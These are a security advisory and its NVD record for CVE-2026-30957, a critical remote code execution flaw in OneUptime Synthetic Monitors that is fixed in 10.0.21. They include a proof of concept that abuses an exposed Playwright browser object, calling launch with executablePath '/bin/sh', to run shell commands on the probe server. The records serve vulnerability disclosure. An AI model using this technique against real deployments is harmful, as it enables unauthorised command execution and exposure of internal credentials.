{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@oneuptime/common"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "10.0.21"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-30957"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-749"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-10T01:12:59Z",
    "nvd_published_at": "2026-03-10T18:18:54Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\n\nOneUptime Synthetic Monitors allow a low-privileged authenticated project user to execute arbitrary commands on the `oneuptime-probe` server/container.\n\nThe root cause is that untrusted Synthetic Monitor code is executed inside Node\u0027s `vm` while live host-realm Playwright `browser` and `page` objects are exposed to it. A malicious user can call Playwright APIs on the injected `browser` object and cause the probe to spawn an attacker-controlled executable.\n\nThis is a server-side remote code execution issue. It does not require a separate `vm` sandbox escape.\n\n## Details\n\nA normal project member can create or edit monitors and monitor tests:\n\n- `Monitor` access control: https://github.com/OneUptime/oneuptime/blob/707bfd62e721a2845ee05b87cb5d3c611bda2276/Common/Models/DatabaseModels/Monitor.ts#L45-L70\n- `MonitorTest` access control: https://github.com/OneUptime/oneuptime/blob/707bfd62e721a2845ee05b87cb5d3c611bda2276/Common/Models/DatabaseModels/MonitorTest.ts#L27-L52\n\nThe dashboard exposes a Playwright code editor for Synthetic Monitors and allows a user to queue a test run:\n\n- Synthetic Monitor editor: https://github.com/OneUptime/oneuptime/blob/707bfd62e721a2845ee05b87cb5d3c611bda2276/App/FeatureSet/Dashboard/src/Components/Form/Monitor/MonitorStep.tsx#L260-L289\n- `Test Monitor` flow: https://github.com/OneUptime/oneuptime/blob/707bfd62e721a2845ee05b87cb5d3c611bda2276/App/FeatureSet/Dashboard/src/Components/Form/Monitor/MonitorTest.tsx#L69-L83\n\nFor `MonitorType.SyntheticMonitor`, attacker-controlled `customCode` is passed into `SyntheticMonitor.execute(...)`:\n\n- https://github.com/OneUptime/oneuptime/blob/707bfd62e721a2845ee05b87cb5d3c611bda2276/Probe/Utils/Monitors/Monitor.ts#L323-L338\n\n`SyntheticMonitor.execute(...)` then calls `VMRunner.runCodeInNodeVM(...)` and injects live Playwright objects into the VM context:\n\n- https://github.com/OneUptime/oneuptime/blob/707bfd62e721a2845ee05b87cb5d3c611bda2276/Probe/Utils/Monitors/MonitorTypes/SyntheticMonitor.ts#L156-L168\n\nRelevant code path:\n\n```ts\nresult = await VMRunner.runCodeInNodeVM({\n  code: options.script,\n  options: {\n    timeout: PROBE_SYNTHETIC_MONITOR_SCRIPT_TIMEOUT_IN_MS,\n    args: {},\n    context: {\n      browser: browserSession.browser,\n      page: browserSession.page,\n      screenSizeType: options.screenSizeType,\n      browserType: options.browserType,\n    },\n  },\n});\n```\n\n`VMRunner.runCodeInNodeVM(...)` wraps host objects in proxies, but it still forwards normal method calls with the real host `this` binding. It only blocks a few property names such as `constructor`, `__proto__`, `prototype`, and `mainModule`:\n\n- Blocked properties: https://github.com/OneUptime/oneuptime/blob/707bfd62e721a2845ee05b87cb5d3c611bda2276/Common/Server/Utils/VM/VMRunner.ts#L20-L25\n- Real host `this` binding during method calls: https://github.com/OneUptime/oneuptime/blob/707bfd62e721a2845ee05b87cb5d3c611bda2276/Common/Server/Utils/VM/VMRunner.ts#L81-L103\n- Additional context injection into the VM: https://github.com/OneUptime/oneuptime/blob/707bfd62e721a2845ee05b87cb5d3c611bda2276/Common/Server/Utils/VM/VMRunner.ts#L388-L395\n\nBecause of that, untrusted code can still use legitimate Playwright methods on the injected `browser` object.\n\nThe probe pins Playwright `1.58.2`:\n\n- https://github.com/OneUptime/oneuptime/blob/707bfd62e721a2845ee05b87cb5d3c611bda2276/Probe/package-lock.json#L4438-L4459\n\nIn that version, `Browser.browserType()` returns a `BrowserType` object, and `BrowserType.launch()` accepts attacker-controlled `executablePath`, `ignoreDefaultArgs`, and `args`. Playwright then passes those values into a child-process spawn path.\n\nAs a result, a malicious Synthetic Monitor can do this from inside the sandboxed script:\n\n```javascript\nbrowser.browserType().launch({\n  executablePath: \"/bin/sh\",\n  ignoreDefaultArgs: true,\n  args: [\"-c\", \"id\"],\n});\n```\n\nEven if Playwright later throws because the spawned process is not a real browser, the command has already executed.\n\nThis execution path is reachable through both one-shot monitor testing and normal scheduled monitor execution:\n\n- Monitor tests fetched by the probe: https://github.com/OneUptime/oneuptime/blob/707bfd62e721a2845ee05b87cb5d3c611bda2276/Probe/Jobs/Monitor/FetchMonitorTest.ts#L55-L85\n- Scheduled monitor execution: https://github.com/OneUptime/oneuptime/blob/707bfd62e721a2845ee05b87cb5d3c611bda2276/Probe/Jobs/Monitor/FetchList.ts#L96-L126\n\nThis appears distinct from prior `node:vm` breakout issues because the exploit does not need to recover `process` from the VM. The dangerous capability is already exposed by design through the injected Playwright object.\n\n### PoC\n\n1. Log in to the dashboard as a regular project member.\n2. Go to `Monitors` -\u003e `Create New Monitor`.\n3. Select `Synthetic Monitor`.\n4. In the Playwright code field, paste:\n\n```javascript\n browser.browserType().launch({\n    executablePath: \"/bin/sh\",\n    ignoreDefaultArgs: true,\n    args: [\n      \"-c\",\n      \"id\"\n    ],\n    timeout: 1000,\n  }).catch((err) =\u003e {\n    console.log(String(err));\n  });\n\n  return {\n    data: {\n      launched: true\n    }\n  };\n```\n\n5. Select one browser type, for example `Chromium`.\n6. Select one screen type, for example `Desktop`.\n7. Set retry count to `0`.\n8. Click `Test Monitor` and choose any probe.\n\nExpected result:\n\n- the monitor execution succeeded and in the Show More Details the command output is shown.\n\u003cimg width=\"1537\" height=\"220\" alt=\"image\" src=\"https://github.com/user-attachments/assets/4fa5b458-cae9-4ec8-add0-bfc288ee7568\" /\u003e\n\n### Impact\nThis is a server-side Remote Code Execution issue affecting the probe component.\n\nWho is impacted:\n\n- any OneUptime deployment where an attacker can obtain ordinary project membership\n- environments where the probe has access to internal services, secrets, Kubernetes metadata, database credentials, proxy credentials, or other cluster-local trust relationships",
  "id": "GHSA-jw8q-gjvg-8w4q",
  "modified": "2026-03-10T18:45:14Z",
  "published": "2026-03-10T01:12:59Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/OneUptime/oneuptime/security/advisories/GHSA-jw8q-gjvg-8w4q"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30957"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/OneUptime/oneuptime"
    },
    {
      "type": "WEB",
      "url": "https://github.com/OneUptime/oneuptime/releases/tag/10.0.21"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "OneUptime has Synthetic Monitor RCE via exposed Playwright browser object"
}

{
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "OneUptime is a solution for monitoring and managing online services. Prior to 10.0.21, OneUptime Synthetic Monitors allow a low-privileged authenticated project user to execute arbitrary commands on the oneuptime-probe server/container. The root cause is that untrusted Synthetic Monitor code is executed inside Node\u0027s vm while live host-realm Playwright browser and page objects are exposed to it. A malicious user can call Playwright APIs on the injected browser object and cause the probe to spawn an attacker-controlled executable. This is a server-side remote code execution issue. It does not require a separate vm sandbox escape. This vulnerability is fixed in 10.0.21."
    }
  ],
  "id": "CVE-2026-30957",
  "lastModified": "2026-03-10T18:18:54.737",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 9.9,
          "baseSeverity": "CRITICAL",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "LOW",
          "scope": "CHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 3.1,
        "impactScore": 6.0,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-03-10T18:18:54.737",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/OneUptime/oneuptime/releases/tag/10.0.21"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/OneUptime/oneuptime/security/advisories/GHSA-jw8q-gjvg-8w4q"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Received",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-749"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    }
  ]
}